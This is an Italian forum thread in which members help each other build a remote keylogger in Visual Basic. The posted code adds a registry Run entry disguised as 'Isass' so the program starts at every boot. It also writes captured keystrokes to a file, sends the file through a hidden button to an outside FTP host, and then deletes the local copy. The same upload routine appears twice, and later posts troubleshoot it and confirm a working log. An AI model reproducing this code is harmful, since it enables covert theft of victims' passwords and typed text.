Thread obsoleto KeyLogger Remoto via FTP

[FireFox]

Risposto nell'altro topic.

 

[3n1gm1st4]

e dove scusami?

 

[FireFox]

Scusa, parlavo con Biscotto.

 

[Daddy]

Bene Firefox.

 

[FireFox]

Grazie Daddy.

 

[Aquila]

ragazzi qualcuno mi puo aiutare nn riesco a farlo ad un certo punto mi blokko

 

[FireFox]

Dimmi il punto no? huh

 

[shinil35]

Shinil35 buona idea.

Biscuit praticamente quello in rosso serve in caso l'utente sposti il file in un'altra directory, con l'app.path + nomefile.exe riusciamo lo stesso a fornire la directory.

3n1gm1st4 non sò davvero quale sia il tuo problema.

50 cent roby si, i commenti puoi lasciarli.

oltre a rilevare la directory rileva anche il nome del file... Quindi se in qualsiasi modo viene rinominato il file resta comunque ok!


Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\" & App.EXEName & ".exe"

 

[FireFox]

Ops..non avevo notato App.EXEName :

 

[Aquila]

Quindi il codice e sbajato?

 

[FireFox]

No, è giusto in entrambi i casi ^^

 

[Aquila]

fire io nn ci ho provato tre mila volta in tutti modi te lo giuro sto kiedendop pure aiuto man nn ci riesco... bha! nn so forse sbajo io qulcs

 

[FireFox]

Si vede che non hai le conoscenze base per affrontare l'argomento, impara meglio il linguaggio e poi ritornaci quando avrai più pratica huh

 

[#Jason]

Ottima guida FF :

 

[FireFox]

Grazie mille PePpe

 

[TheLegendW1]

ma quando dici dopo aver scritto 6000 in timer 2,3,4,5,6

killate su form1

in che senso? o.0 io nn ho form1 nell'interfaccia

 

[InfernoHacker]

Ragazzi se non vi hosta il file (a me succedeva ò.ò) provate a fare così :

Allora mettiamo il timer che hosta il file impostato a 30000 (30 sec.)

e mettiamo il seguente codice :

Private Sub Timer2_Timer()
Call Command1_Click
End Sub

(Nel mio caso è il timer2 ù.ù)

Poi creiamo un command button (Command1) e lo impostiamo su invisibile e inseriamo il seguente codice :

Open "C:\provapswd.ini" For Append As #1
Write #1, Text1.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "sitodipippo
pswd = "pswddipippo"
ftpwebsite = "ftp://sitodipippo.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = "log.txt"
Inet1.Execute Inet1.URL, "PUT C:\provapswd.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill "C:\provapswd.ini"

Provate così

Perchè qnd utilizzavo il timer e basta nn riusciva a completare un'operazione,invece qui è come se cliccassimo sul pulsante ;)

 

[FireFox]

Molto strano dato che a me funziona, comunque complimenti per aver postato una soluzione alternativa ^^

 

[Biscuit]

Ragazzi se non vi hosta il file (a me succedeva ò.ò) provate a fare così :

Allora mettiamo il timer che hosta il file impostato a 30000 (30 sec.)

e mettiamo il seguente codice :

Private Sub Timer2_Timer()
Call Command1_Click
End Sub

(Nel mio caso è il timer2 ù.ù)

Poi creiamo un command button (Command1) e lo impostiamo su invisibile e inseriamo il seguente codice :

Open "C:\provapswd.ini" For Append As #1
Write #1, Text1.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "sitodipippo
pswd = "pswddipippo"
ftpwebsite = "ftp://sitodipippo.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = "log.txt"
Inet1.Execute Inet1.URL, "PUT C:\provapswd.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill "C:\provapswd.ini"

Provate così

Perchè qnd utilizzavo il timer e basta nn riusciva a completare un'operazione,invece qui è come se cliccassimo sul pulsante ;)

Perfetto! Dopo provo<! Grazie!!:razz::razz:

 

[Aggiaparià]

Raga a me funziona.
io lo testato su di me, va bhe lo apro oi scrivo su un blocco note,
poi vado su C:\WINDOWS\system32\Keylog.txt poi faccio invio e mi si apre
un blocco note con tutto quello digitato.
e giusto cosi no?​